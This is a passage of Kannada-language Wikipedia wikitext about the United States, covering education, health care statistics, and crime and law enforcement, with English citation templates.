ಶಾಲೆಗೆ ಹಾಜರಾಗಬೇಕು. ಕೆಲವು ರಾಜ್ಯಗಳಲ್ಲಿ ಹದಿನಾರು ಅಥವಾ ಹದಿನೇಳನೇ ವಯಸ್ಸಿನಲ್ಲಿ ವಿದ್ಯಾರ್ಥಿಗಳು ಶಾಲೆಯನ್ನು ತೊರೆಯುವುದಕ್ಕೆ ಅನುಮತಿ ಇದೆ. <ref>{{cite web |url=http://nces.ed.gov/programs/digest/d02/dt150.asp |title=Ages for Compulsory School Attendance... |accessdate = 2007-06-10 |publisher=U.S. Dept. of Education, National Center for Education Statistics}}</ref> ಸುಮಾರು 12%ರಷ್ಟು ಮಕ್ಕಳು [[ಪ್ರಾಂತೀಯ ಶಾಲೆ|ಪ್ರಾಂತೀಯ]] ಅಥವಾ [[ಪಂಥೀಯವಲ್ಲದ|ಅಸಂಘಟಿತ]] [[ಖಾಸಗಿ ಶಾಲೆ]]ಗಳಿಗೆ ಸೇರಿದ್ದಾರೆ. ಕೇವಲ 2%ರಷ್ಟು ಮಕ್ಕಳಿಗೆ [[ಮನೆಶಾಲೆ|ಮನೆಯೇ ಶಾಲೆ]]ಯಾಗಿದೆ.<ref>{{cite web |url=http://www.ed.gov/about/offices/list/oii/nonpublic/statistics.html |title=Statistics About Non-Public Education in the United States |accessdate = 2007-06-05 |publisher=U.S. Dept. of Education, Office of Non-Public Education}}</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಹಲವು ಸ್ಪರ್ಧಾತ್ಮಕ ಖಾಸಗಿ ಮತ್ತು ಸಾರ್ವಜನಿಕ [[ಅಮೆರಿಕದ ಪ್ರೌಢ‌ಶಿಕ್ಷಣ ಸಂಸ್ಥೆಗಳ ಪಟ್ಟಿ|ಉನ್ನತ ಶಿಕ್ಷಣ ಶೈಕ್ಷಣಿಕ ಸಂಸ್ಥೆ]]ಗಳಿವೆ. ಹಾಗೆಯೆ ಮುಕ್ತ ನೋಂದಣಿ ನಿಯಮದಡಿ ಸ್ಥಳೀಯ [[ಸಮುದಾಯ ಶಾಲೆ|ಸಮುದಾಯ ಕಾಲೇಜು]]ಗಳೂ ಇವೆ. ಇಪ್ಪತ್ತೈದು ಮತ್ತು ಅದಕ್ಕಿಂತ ಹೆಚ್ಚಿನ ವಯಸ್ಕ ಅಮೆರಿಕನ್ನರಲ್ಲಿ 84.6% ಪ್ರೌಢಶಾಲಾ ಪದವಿ ಪಡೆದಿದ್ದಾರೆ, 52.6%ರಷ್ಟು ಜನರು ಕಾಲೇಜುಗಳಿಗೆ ಹಾಜರಾಗಿದ್ದಾರೆ, 27.2%ರಷ್ಟು ಜನರು [[ಪ್ರಥಮ ಪದವಿ|ಪದವಿ]] ಪಡೆದಿದ್ದಾರೆ ಮತ್ತು 9.6%ರಷ್ಟು ಜನರು ಉನ್ನತ ಪದವಿ ಶಿಕ್ಷಣ ಹೊಂದಿದ್ದಾರೆ.<ref>{{cite web|url=http://www.census.gov/prod/2004pubs/p20-550.pdf|title=Educational Attainment in the United States: 2003|publisher=U.S. Census Bureau|accessdate = 2006-08-01}}</ref> ಇಲ್ಲಿಯ ಮೂಲ [[ಸಾಕ್ಷರತೆ‌#ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಸಾಕ್ಷರತೆಯ ದರ]]ವು ಸರಿಸುಮಾರು 99% ಆಗಿದೆ.<ref name="WF"/><ref> ಫಾರ್ ಮೋರ್ ಡೀಟೇಲ್ ಆನ್ ಯು.ಎಸ್ ಲಿಟರಸಿ, ಸೀ [http://nces.ed.gov/NAAL/PDF/2006470.PDF ಎ ಫರ್ಸ್ಟ್ ಲುಕ್ ಅಟ್ ದಿ ಲಿಟರಸಿ ಆಫ್ ಅಮೆರಿಕಾಸ್ ಅಡಲ್ಟ್ಸ್ ಇನ್ ದಿ ಟ್ವೆಂಟಿಫಸ್ಟ್ ಸೆಂಚುರಿ], ಯು.ಎಸ್.ಡಿಪಾರ್ಟ್ಮೆಂಟ್ ಆಫ್ ಎಜುಕೇಶನ್ (2003).</ref>ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಗಳಲ್ಲಿನ ಶೈಕ್ಷಣಿಕ ಸೂಚ್ಯಾಂಕದಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಮಟ್ಟವು 0.97ಇದ್ದು ಪ್ರಪಂಚದಲ್ಲಿ ಹನ್ನೆರಡನೇ ಸ್ಥಾನಕ್ಕೆ ಪೈಪೋಟಿ ನಡೆಸಿದೆ.<ref>{{cite web|title=Human Development Indicators|year=2005|publisher=United Nations Development Programme, Human Development Reports|accessdate=2008-01-14|url=http://hdr.undp.org/reports/global/2005/pdf/HDR05_HDI.pdf|archiveurl=https://web.archive.org/web/20070620235428/http://hdr.undp.org/reports/global/2005/pdf/HDR05_HDI.pdf|archivedate=2007-06-20|url-status=live}}</ref> === ಆರೋಗ್ಯ === {{seealso|Health care in the United States|Health care reform in the United States|Health insurance in the United States}} ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿನ [[ಜೀವನ ನಿರೀಕ್ಷೆ|ಆಯುಷ್ಯ ಪ್ರಮಾಣ]]ವು 77.8 ವರ್ಷವಾಗಿದೆ<ref>{{cite web|url=http://www.cdc.gov/nchs/data/hus/hus06.pdf#027|title=Health, United States, 2006|month=November | year=2006|publisher=Centers for Disease Control and Prevention, National Center for Health Statistics|accessdate = 2007-08-15}}</ref>. ಇದು ಪಶ್ಚಿಮ ಯುರೋಪಿಗಿಂತ ಒಂದು ವರ್ಷ ಕಡಿಮೆಯಾಗಿದೆ. ನಾರ್ವೆ, ಸ್ವಿಝರ್‌ಲ್ಯಾಂಡ್ ಮತ್ತು ಕೆನಡಾ ದೇಶಗಳಿಗಿಂತ ಮೂರರಿಂದ ನಾಲ್ಕು ವರ್ಷಗಳಷ್ಟು ಕಡಿಮೆಯಾಗಿದೆ.<ref>{{cite web|author=Eberstadt, Nicholas, and Hans Groth|url=http://www.iht.com/articles/2007/04/19/opinion/edeber.php|title=Healthy Old Europe|date=2007-04-19|work=International Herald Tribune|accessdate=2007-06-19|archiveurl=https://web.archive.org/web/20070423013852/http://www.iht.com/articles/2007/04/19/opinion/edeber.php|archivedate=2007-04-23|url-status=live}}</ref> ಎರಡು ಶತಮಾನಗಳಿಂದೀಚೆಗೆ ದೇಶದ ಆಯುಷ್ಯ ಪ್ರಮಾಣದ ದರ್ಜೆಯು 11ನೇ ಸ್ಥಾನದಿಂದ 42ನೇ ಸ್ಥಾನಕ್ಕಿಳಿದಿದೆ.<ref>{{cite web|author=MacAskill, Ewen|url=http://www.guardian.co.uk/world/2007/aug/13/usa.ewenmacaskill |title=US Tumbles Down the World Ratings List for Life Expectancy|date=2007-08-13 |work= Guardian|accessdate = 2007-08-15}}</ref> ಸ್ಥಳಾಧಾರದ [[ಶಿಶು ಮರಣಪ್ರಮಾಣ|ಮೇಲೆ ಶಿಶು ಮರಣ ದರ]]ವು, 221ದೇಶಗಳಿಗೆ ಹೋಲಿಸಿದರೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು 42ನೇ ಸ್ಥಾನದಲ್ಲಿದೆ. ಎಲ್ಲ ಪಶ್ಚಿಮ ಯೂರೋಪ್ ದೇಶಗಳ ಹಿಂದಿನ ಸ್ಥಾನವಿದು.<ref>{{cite web|url=https://www.cia.gov/library/publications/the-world-factbook/rankorder/2091rank.html|title=Rank Order—Infant Mortality Rate|date=2007-06-14|publisher=CIA|work=The World Factbook|accessdate=2007-06-19|archive-date=2018-02-07|archive-url=https://web.archive.org/web/20180207062332/https://www.cia.gov/library/publications/the-world-factbook/rankorder/2091rank.html|url-status=dead}}</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಕ್ಯಾನ್ಸರ್‌ನಿಂದ ಬದುಕುಳಿದವರ ಸಂಖ್ಯೆ ಜಗತ್ತಿನಲ್ಲೇ ಅತೀ ಹೆಚ್ಚಿನದಾಗಿದೆ.<ref> {{cite news| first = Nicole| last = Martin| title = UK Cancer Survival Rate Lowest in Europe| url = http://www.telegraph.co.uk/news/uknews/1560849/UK-cancer-survival-rate-lowest-in-Europe.html | work = The Daily Telegraph| date = 2007-08-24}} {{cite journal| last = Gatta| first = Gemma | year = 2006| month = February| title = Survival from Rare Cancer in Adults: A Population-Based Study| journal = The Lancet Oncology| volume = 7| issue = 2| pages = 132–140| doi = 10.1016/S1470-2045(05)70471-X}}</ref> ಸರಿಸುಮಾರು ಮೂರರಲ್ಲಿ ಒಂದು ಭಾಗದ ಯುವ ಜನರು [[ಸ್ಥೂಲಕಾಯ|ಬೊಜ್ಜು]] ಮೈಯುಳ್ಳವರಾಗಿದ್ದಾರೆ. ಇನ್ನುಳಿದ ಮೂರು ಭಾಗದ ಜನರು ಅತೀ ತೂಕದವರಾಗಿದ್ದಾರೆ.<ref>{{cite web |url=http://www.cdc.gov/nchs/products/pubs/pubd/hestats/overweight/overwght_adult_03.htm |title=Prevalence of Overweight and Obesity Among Adults: United States, 2003–2004 |accessdate = 2007-06-05 |publisher=Centers for Disease Control and Prevention, National Center for Health Statistics}}</ref> ಸ್ಥೂಲಕಾಯದ ದರವು ಔದ್ಯಮಿಕ ಜಗತ್ತಿನಲ್ಲಿ ಅತೀಹೆಚ್ಚಿನದಾಗಿದೆ. ಇದು ಕಳೆದ ದಶಮಾನದ ಕೊನೆಯ ಸಮಯದಲ್ಲಿ ದ್ವಿಗುಣವಾಗಿದೆ.<ref>{{cite book | author= Schlosser, Eric | year = 2002 | title = Fast Food Nation | publisher = Perennial | location = New York| isbn = 0060938455 |page = 240 }}</ref> ಸ್ಥೂಲಕಾಯಕ್ಕೆ ಸಂಬಂಧಿಸಿದ [[ಡಯಾಬಿಟಿಸ್ ಮೆಲ್ಲಿಟುಸ್ 2ನೇ ಬಗ|ಎರಡನೇ ವರ್ಗದ ಸಿಹಿಮೂತ್ರರೋಗ]]ವು [[ಸಾಂಕ್ರಾಮಿಕ]] ಎಂದು ಆರೋಗ್ಯ ಪರಿಣಿತರು ಹೇಳುತ್ತಾರೆ.<ref>{{cite web |url=http://atvb.ahajournals.org/cgi/content/full/25/12/2451#R3-101329 |title=Fast Food, Central Nervous System Insulin Resistance, and Obesity|year=2005 |accessdate = 2007-06-17|work= [[Arteriosclerosis, Thrombosis, and Vascular Biology]]|publisher=American Heart Association}}</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಪಕ್ವ ವಯಸ್ಸಿನ ಗರ್ಭಧಾರಣೆಯ ದರವು ಪ್ರತೀ 1,000 ಮಹಿಳೆಯರಿಗೆ 79.8% ಆಗಿದೆ. ಈ ದರವು ಪ್ರಾನ್ಸ್‌ನಲ್ಲಿಯ ಪರಿಸ್ಥಿತಿಗಿಂತ ನಾಲ್ಕು ಪಟ್ಟು ಹೆಚ್ಚು ಮತ್ತು ಜರ್ಮನಿಯ ಪರಿಸ್ಥಿತಿಗಿಂತ ಐದು ಪಟ್ಟು ಹೆಚ್ಚಾಗಿದೆ.<ref>{{cite web |url=http://www.advocatesforyouth.org/PUBLICATIONS/factsheet/fsest.htm |title=Adolescent Sexual Health in Europe and the U.S.—Why the Difference?|month=October | year=2001 |accessdate = 2007-06-17 |publisher=Advocates for Youth}}</ref>[[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನನಲ್ಲಿ ಗರ್ಭಪಾತ|ಗರ್ಭಪಾತ]]ವು ಅವಶ್ಯಕ ಎಂಬಂತಹ ಸಮಯದಲ್ಲಿ ಕಾನೂನು ಅದಕ್ಕೆ ಅವಕಾಶ ನೀಡುತ್ತಿದ್ದು ಉಳಿದಂತೆ ಇದು ಅತೀ ವಿವಾದಿತ ವಿಷಯವಾಗಿದೆ. ಹಲವು ರಾಜ್ಯಗಳು ಈ ಪ್ರಕ್ರಿಯೆಗೆ ಸಾರ್ವಜನಿಕ ನಿಧಿ ನೀಡುವುದನ್ನು ನಿಷೇಧಿಸಿವೆ ಹಾಗೆಯೇ ತಡವಾಗಿ ಗರ್ಭಪಾತ ಮಾಡಿಸಿಕೊಳ್ಳುವುದನ್ನು ನಿರ್ಬಂಧಿಸಿವೆ ಮತ್ತು ಅಪ್ರಾಪ್ತರಿಗೆ ಗರ್ಭಪಾತ ಮಾಡಿಸಲು ಪೋಷಕರ ಒಪ್ಪಿಗೆ ಅಗತ್ಯ ಹಾಗೂ ಈ ಪ್ರಕ್ರಿಯೆಗಾಗಿ ನಿಗಧಿತ ಸಮಯವನ್ನು ನಿರ್ಧಾರ ಪೂರ್ವ ಕಾಯುವಿಕೆಯ ಸಮಯವಾಗಿ ಅಧಿಕೃತ ಕಾನೂನಾಗಿಸಿದೆ. ಇದೇವೇಳೆ ಗರ್ಭಪಾತದ ದರವು ಕಡಿಮೆಯಾಗುತ್ತಿದ್ದು 1,000 ಸಜೀವ ಜನನ ಪ್ರಮಾಣಕ್ಕೆ 241 ಗರ್ಭಪಾತದ ಪ್ರಮಾಣವಿದೆ. ಮತ್ತು ಹಲವು ಪಶ್ಚಿಮ ದೇಶಗಳಿಗಿಂತ ಗರಿಷ್ಠವಾದ ಗರ್ಭಪಾತದ ಪ್ರಮಾಣವು 15-44 ವರ್ಷದ 1,000 ಮಹಿಳೆಯರಲ್ಲಿ 15 ಇದೆ.<ref>{{cite web |url=http://www.cdc.gov/mmwr/preview/mmwrhtml/ss5511a1.htm|author=Strauss, Lilo T., et al.|title=Abortion Surveillance—United States, 2003|accessdate = 2007-06-17 |publisher=Centers for Disease Control, National Center for Chronic Disease Prevention and Health Promotion, Division of Reproductive Health|work=MMWR|date=2006-11-24}}</ref> [[ಚಿತ್ರ:FlightHoustontoDallas086.jpg|thumb|right|ಹ್ಯೂಸ್ಟನ್‌ನ ಆರೋಗ್ಯ ಕೇಂದ್ರ, ಪ್ರಪಂಚದ ಅತಿ ದೊಡ್ಡ ಆರೋಗ್ಯ ಕೇಂದ್ರ[381]]] ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಆರೋಗ್ಯ ಕಾಳಜಿ ವ್ಯವಸ್ಥೆಗಾಗಿ [[ಪ್ರತಿ ವ್ಯಕ್ತಿಯ ಒಟ್ಟು ಆರೋಗ್ಯಕ್ಕಾಗಿ ಖರ್ಚಿನ ಆಧಾರದ ಮೇಲೆ ದೇಶಗಳ ಪಟ್ಟಿ|ಅತಿಹೆಚ್ಚು]] ಖರ್ಚು ಮಾಡುತ್ತಿದೆ. ಇದನ್ನು ತಲಾ ಖರ್ಚು ಮತ್ತು ಜಿಡಿಪಿಯ ಶೇಕಡಾವಾರು ಮೂಲಕ ಅಳೆಯಬಹುದಾಗಿದೆ.<ref> ''ಓ ಇಸಿಡಿ ಹೆಲ್ತ್ ಡಾಟಾ 2000: ಎ ಕಂಪಾರೆಟಿವ್ ಅನಾಲಿಸಿಸ್ ಆಫ್ 29 ಕಂಟ್ರೀಸ್'' [CD-ROM] (OECD: Paris, 2000). ಸೀ ಆಲ್ಸೋ{{cite web |url=http://dll.umaine.edu/ble/U.S.%20HCweb.pdf|title=The U.S. Healthcare System: The Best in the World or Just the Most Expensive?|year=2001|accessdate = 2006-11-29 |publisher=University of Maine}}</ref>[[ವಿಶ್ವ ಆರೋಗ್ಯ ಸಂಸ್ಥೆ|ವಿಶ್ವಆರೋಗ್ಯ ಸಂಸ್ಥೆ ಸಂಘಟನೆ]]ಯು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಆರೋಗ್ಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಉತ್ತಮ ಕಾಳಜಿಯುಳ್ಳ ವ್ಯವಸ್ಥೆಯೆಂದು 2000ದಲ್ಲಿ ಘೋಷಿಸಿತು. ಆದರೇ ಒಟ್ತಾರೆ ನಿರ್ವಹಣೆಯಲ್ಲಿ 37ನೆಯದೆಂದು ಘೋಷಿಸಿತು. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ರೋಗಗಳಿಗೆ ಔಷಧಗಳನ್ನು ಕಂಡುಹಿಡಿಯುವಲ್ಲಿ ಮೊದಲ ದೇಶವಾಗಿದೆ. 2004ರಲ್ಲಿ ಉದ್ಯಮೇತರ ಕ್ಷೇತ್ರವು ಯುರೋಪ್‌ನ ತಲಾ ಆದಾಯಕ್ಕಿಂತ ಮೂರು ಪಟ್ಟು ಹೆಚ್ಚು ಖರ್ಚನ್ನು ಜೈವಿಕ ಔಷಧಗಳ ಸಂಶೋಧನೆಗಾಗಿ ವೆಚ್ಚ ಮಾಡಿದೆ.<ref>{{cite journal |author=Groves, Trish| year=2008|month=February |title=Stronger European Medical Research |journal=British Medical Journal |volume=336 |pages=341–342| doi=10.1136/bmj.39489.505208.80 |pmid=18276671 |first1=T |issue=7640 |issn=0959-8138}}</ref> ಉಳಿದ ಅಭಿವೃದ್ಧಿಯುತ ದೇಶಗಳಂತೆ ಆರೋಗ್ಯ ಕಾಳಜಿಯ ವ್ಯಾಪ್ತಿಯು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ [[ಸಾರ್ವತ್ರಿಕ ಆರೋಗ್ಯ ರಕ್ಷಣೆ|ಸಾರ್ವತ್ರಿಕ]]ವಾಗಿಲ್ಲ. 2004ರಲ್ಲಿ ಖಾಸಗಿ ವಿಮೆಯಿಂದ 36%ರಷ್ಟನ್ನು ವೈಯುಕ್ತಿಕ ಆರೋಗ್ಯ ವೆಚ್ಚವೂ, 15% ಖಾಸಗಿ ವೈಯುಕ್ತಿಕೇತರ ಹಣವೂ ಮತ್ತು ಉಳಿದ 44%ರಷ್ಟನ್ನು ಫೆಡರಲ್, ರಾಜ್ಯ, ಸ್ಥಳೀಯ ಸರ್ಕಾರಗಳು ಪಾವತಿಸಿವೆ.<ref name="CDC H">{{cite web |url=http://www.cdc.gov/nchs/data/hus/hus06.pdf|title=Health, United States, 2006|accessdate = 2006-11-24 |publisher=Centers for Disease Control, National Center for Health Statistics}}</ref> 2005ರಲ್ಲಿ ಒಟ್ಟೂ ಜನಸಂಖ್ಯೆಯಲ್ಲಿ 46.6 ಮಿಲಿಯನ್‌‌ ಅಂದರೆ 15.9%ರಷ್ಟು ಜನರು ವಿಮೆಗೆ ಒಳಪಟ್ಟಿಲ್ಲ ಇದು 2001ರ ಪ್ರಮಾಣಕ್ಕಿಂತ 5.4 ಮಿಲಿಯನ್‌ ಹೆಚ್ಚಾಗಿದೆ. ಇದಕ್ಕೆ ಮುಖ್ಯ ಕಾರಣವೆಂದರೆ ಉದ್ಯೋಗ ಪ್ರಾಯೋಜಿತ ಆರೋಗ್ಯ ವಿಮೆಯು ಹೆಚ್ಚಿನ ಅಮೆರಿಕನ್ನರಲ್ಲಿ ಕಡಿಮೆಯಾಗಿದ್ದುದು.<ref name="CBPP">{{cite web|url=http://www.cbpp.org/8-29-06pov.htm|title=Poverty Remains Higher, and Median Income for Non-Elderly Is Lower, Than When Recession Hit Bottom: Poor Performance Unprecedented for Four-Year Recovery Period|publisher=Center for Budget and Policy Priorities|date =2006-09-01|accessdate = 2007-06-24}}</ref> ವಿಮೆ ಹೊಂದಿಲ್ಲದ ಮತ್ತು ವಿಮೆ ಹೊಂದುತ್ತಿರುವ ಜನಸಂಖ್ಯೆಯ ನಡುವೆ ಅತಿ ಹೆಚ್ಚಿನ ವ್ಯತ್ಯಾಸವಿದ್ದದ್ದು ಅಮೇರಿಕಾ ರಾಜಕೀಯ ವಿವಾದಾಂಶವಾಗಿತ್ತು.<ref>{{cite news|author=Abelson, Reed|url=http://www.nytimes.com/2008/06/10/health/policy/10health.html|title=Ranks of Underinsured Are Rising, Study Finds|date= 2008-06-10|work=New York Times|accessdate=2008-10-25}} {{cite journal|author=Blewett, Lynn A. et al.|title=How Much Health Insurance Is Enough? Revisiting the Concept of Underinsurance|year= 2006|work=Medical Care Research and Review|volume=63|issue=6|pages=663–700|doi=10.1177/1077558706293634|journal=Medical Care Research and Review|pmid=17099121|month=Dec|first1=LA|first2=A|first3=TJ|issn=1077-5587}}</ref> [[ಸಾರ್ವಜನಿಕ ಆರೋಗ್ಯಕಾಗಿನ ಅಮೆರಿಕದ ನಿಯತಾಲಿಕ|ಅಮೆರಿಕನ್ ಜರ್ನಲ್ ಆಫ್ ಪಬ್ಲಿಕ್ ಹೆಲ್ತ್‌]]ನಲ್ಲಿ ಪ್ರಕಟವಾದ ಹಾರ್ವರ್ಡ್ ಮೂಲದ ಅದ್ಯಯನವು ಅಂದಾಜಿಸಿರುವಂತೆ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿನ ಪ್ರತೀವರ್ಷದ ಸುಮಾರು 45,000 ಮರಣವು ಲಕ್ಷಗಟ್ಟಲೆ ಆರೋಗ್ಯ ವಿಮೆಯನ್ನು ಜೊತೆಗಿರಿಸಿಕೊಂಡಿದೆ.<ref> [http://www.cnn.com/2009/HEALTH/09/18/deaths.health.insurance/index.html?eref=rss_latest 45,000 ಅಮೆರಿಕನ್ ಡೆಥ್ಸ್ ಅಸೋಸಿಯೇಟೆಡ್ ವಿತ್ ಲ್ಯಾಕ್ ಆಫ್ ಇನ್ಸುರೆನ್ಸ್]CNN.com. ಸೆಪ್ಟೆಂಬರ್ 18, 2009.</ref> 2006ರಲ್ಲಿ [[ಮೆಸಾಚುಸೆಟ್ಸ್|ಮಸ್ಸಾಚುಸೆಟ್ಸ್]] ರಾಜ್ಯವು ಸಾರ್ವತ್ರಿಕ ಆರೋಗ್ಯ ವಿಮೆಯನ್ನು ಅಧಿಕೃತವಾಗಿಸುವಲ್ಲಿ ಮೊದಲ ರಾಜ್ಯವಾಗಿದೆ.<ref>{{cite web|author=Fahrenthold, David A.|url=http://www.washingtonpost.com/wp-dyn/content/article/2006/04/04/AR2006040401937.html|title= Mass. Bill Requires Health Coverage|date= 2006-04-05|work=Washington Post|accessdate=2007-06-19}}</ref> === ಅಪರಾಧ ಮತ್ತು ಕಾನೂನು ಪ್ರಾಬಲ್ಯ === {{Main|Policing in the United States|Crime in the United States}} {{seealso|Law of the United States|Incarceration in the United States|Capital punishment in the United States}} [[ಚಿತ್ರ:Homicide rate2004.svg|right|400px]] ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಕಾನೂನನ್ನು ಕಾಪಾಡುವುದು ಸ್ಥಳೀಯ ಪೋಲೀಸರು ಮತ್ತು [[ಶೆರಿಫ್|ಶೆರಿಫ್‌]] ಇಲಾಖೆಗಳ ಜೊತೆಗೆ [[ರಾಜ್ಯ ಪೋಲಿಸ್|ರಾಜ್ಯ ಪೋಲೀಸ]]ರು ಕೂಡಾ ವಿಸ್ತ್ರತ ಸೇವೆಯನ್ನು ನೀಡುತ್ತಿದ್ದಾರೆ. [[ತನಿಖೆಯ ಫೆಡರಲ್ ಬ್ಯೂರೊ|ಫೆಡರಲ್ ಬ್ಯೂರೋ ಆಫ್ ಇನ್ವೆಸ್ಟಿಗೇಶನ್]] (ಎಫ್‌ಬಿಐ) ಮತ್ತು [[ಸಯುಕ್ತ ಸಂಸ್ಥಾಮನದ ಮಾರ್ಶಲ್ಸ್ ಸೇವೆ|ಯು.ಎಸ್. ಮಾರ್ಶಲ್ಸ್ ಸರ್ವೀಸ್‌]]ನಂತಹ ಫೆಡರಲ್ ಏಜೆನ್ಸಿಗಳು ವಿಶೇಷ ಕರ್ತವ್ಯವನ್ನು ಹೊಂದಿವೆ. ಫೆಡೆರಲ್ ಮಟ್ಟದಲ್ಲಿ ಮತ್ತು ಸಾಮಾನ್ಯವಾಗಿ ಎಲ್ಲ ರಾಜ್ಯಗಳಲ್ಲೂ ನ್ಯಾಯಶಾಸ್ತ್ರವು [[ಸಾಮಾನ್ಯ ಕಾನೂನು]] ಪದ್ಧತಿಯಲ್ಲಿ ಆಚರಿಸಲ್ಪಡುತ್ತದೆ. ರಾಜ್ಯ ನ್ಯಾಯಾಲಯವು ಅಪರಾಧೀ ವಿಚಾರಣೆಗಳನ್ನು ಕೈಗೊಳ್ಳುತ್ತದೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಫೆಡರಲ್ ನ್ಯಾಯಾಲಯ|ಫೆಡರಲ್ ನ್ಯಾಯಾಲಯ]]ವು ಕೆಲವೇ ವಿಶಿಷ್ಟವಾದ ಅಪರಾಧಗಳನ್ನು ರಾಜ್ಯವ್ಯವಸ್ಥೆಯಿಂದ [[ಮೇಲ್ಮನವಿ]] ಸಲ್ಲಿಸಲ್ಪಟ್ಟ ಮೊಕದ್ದಮೆಗಳ ವಿಚಾರಣೆಯನ್ನು ನಡೆಸುತ್ತದೆ. [[ಅಭಿವೃದ್ಧಿ ಹೊಂದಿದ ರಾಷ್ಟ್ರ|ಅಭಿವೃದ್ಧಿಯುತ ದೇಶ]]ಗಳಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಸುಮಾರು ಸರಾಸರಿ ಮಟ್ಟದ ಅಪರಾಧಗಳು ಮತ್ತು ವಿಶೇಷವಾಗಿ ಗರಿಷ್ಠಮಟ್ಟದ [[ನರಹತ್ಯೆ|ನರಹಂತಕರು]] ಹಾಗೂ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಬಂದೂಕಿನ ಹಿಂಸಾಚಾರ|ಬಂದೂಕಿನ ಬಳಕೆ]] ಇದೆ.<ref>{{cite web |url=http://www.unodc.org/pdf/crime/eighthsurvey/8sv.pdf|title=Eighth United Nations Survey of Crime Trends and Operations of Criminal Justice Systems (2001–2002) |publisher=United Nations Office on Drugs and Crime (UNODC) |date = 2005-03-31|accessdate=2008-05-18}} {{cite journal |author=Krug, E.G, K.E. Powell, and L.L. Dahlberg |year=1998 |title=Firearm-Related Deaths in the United States and 35 Other High- and Upper-Middle Income Countries |journal=International Journal of Epidemiology |volume=7|issue=2 |pages=214–221 |url=http://ije.oxfordjournals.org/cgi/content/abstract/27/2/214 |doi=10.1093/ije/27.2.214 |pmid=9602401 |month=Apr |first1=EG |first2=KE |first3=LL |issn=0300-5771}}</ref> 2007ರಲ್ಲಿ 100,000 ಜನರಿಗೆ 5.6 ಕೊಲೆಗಳು ನಡೆದಿವೆ<ref name="Crime 2007">{{cite web|url=http://www.fbi.gov/ucr/cius2007/data/table_01.html|title=Crime in the United States by Volume and Rate per 100,000 Inhabitants, 1988–2007|work=Crime in the United States 2007|publisher=FBI|month=September|year=2008|accessdate=2008-10-26|archiveurl=https://web.archive.org/web/20080916005702/http://www.fbi.gov/ucr/cius2007/data/table_01.html|archivedate=2008-09-16|url-status=live}}</ref>. ಇದು ನೆರೆಯ ದೇಶವಾದ ಕೆನಡಾಕ್ಕೆ ಹೋಲಿಸಿದರೆ ಮೂರು ಪಟ್ಟು ಹೆಚ್ಚಿದೆ.<ref>{{cite web|url=http://www40.statcan.ca/l01/cst01/legal02.htm?sdi=crimes|title=Crimes by Type of Offence|publisher=Statistics Canada|date=2008-07-17|accessdate=2008-10-26}}</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ನರಹತ್ಯೆಯ ದರವು 1991 ಮತ್ತು 1999 ರ ಮಧ್ಯೆ 42%ಕ್ಕೆ ಇಳಿದಿದೆ ಹಾಗೂ ಇದು ಈವರೆಗೆ ಅದೇ ಮಟ್ಟವನ್ನು ಕಾಯ್ದುಕೊಂಡಿದೆ.<ref name="Crime 2007"/> [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನಕ್ಕೆ ಎರಡನೇ ತಿದ್ದುಪಡಿ|ಬಂದೂಕಿನ ಪರವಾನಗಿ ಕಾನೂನು]] [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನನಲ್ಲಿ ಬಂದುಕು ರಾಜಕೀಯ|ರಾಜಕೀಯ ಚರ್ಚೆ]]ಗೆ ಕಾರಣವಾಗಿದೆ. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಜಗತ್ತಿನಲ್ಲಿ ಅತೀಹೆಚ್ಚು [[ಕಾರಾಗೃಹವಾಸ]]ದ ದರವನ್ನು <ref name="SP">{{cite web |url=http://www.sentencingproject.org/Admin/Documents/publications/inc_newfigures.pdf|title=New Incarceration Figures: Thirty-Three Consecutive Years of Growth |month=December | year=2006 |accessdate = 2007-06-10 |publisher=Sentencing Project}}</ref>ದಾಖಲಿಸಿದ ಮತ್ತು ಅತೀ ಹೆಚ್ಚು ಕಾರಾಗೃಹವಾಸ ಅನುಭವಿಸಿದ ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿದ ದೇಶವಾಗಿದೆ.<ref>{{cite web|author=Walmsley, Roy|url=http://www.kcl.ac.uk/depsta/rel/icps/world-prison-population-list-2005.pdf|format=PDF|archiveurl=https://web.archive.org/web/20070628215935/http://www.kcl.ac.uk/depsta/rel/icps/world-prison-population-list-2005.pdf|archivedate=2007-06-28|title=World Prison Population List|year=2005|accessdate=2007-10-19|publisher=King's College London, International Centre for Prison Studies|url-status=live}}ಫಾರ್ ದಿ ಲೇಟೆಸ್ಟ್ ಡಾಟಾ, ಸೀ {{cite web|url=http://www.kcl.ac.uk/depsta/rel/icps/worldbrief/north_america_records.php?code=190|archiveurl=https://web.archive.org/web/20070804061423/http://www.kcl.ac.uk/depsta/rel/icps/worldbrief/north_america_records.php?code=190|archivedate=2007-08-04|title=Prison Brief for United States of America|date=2006-06-21|accessdate=2007-10-19|publisher=King's College London, International Centre for Prison Studies|url-status=live}}ಫಾರ್ ಅದರ್ ಎಸ್ಟಿಮೇಟ್ಸ್ ಆಪ್ ದಿ 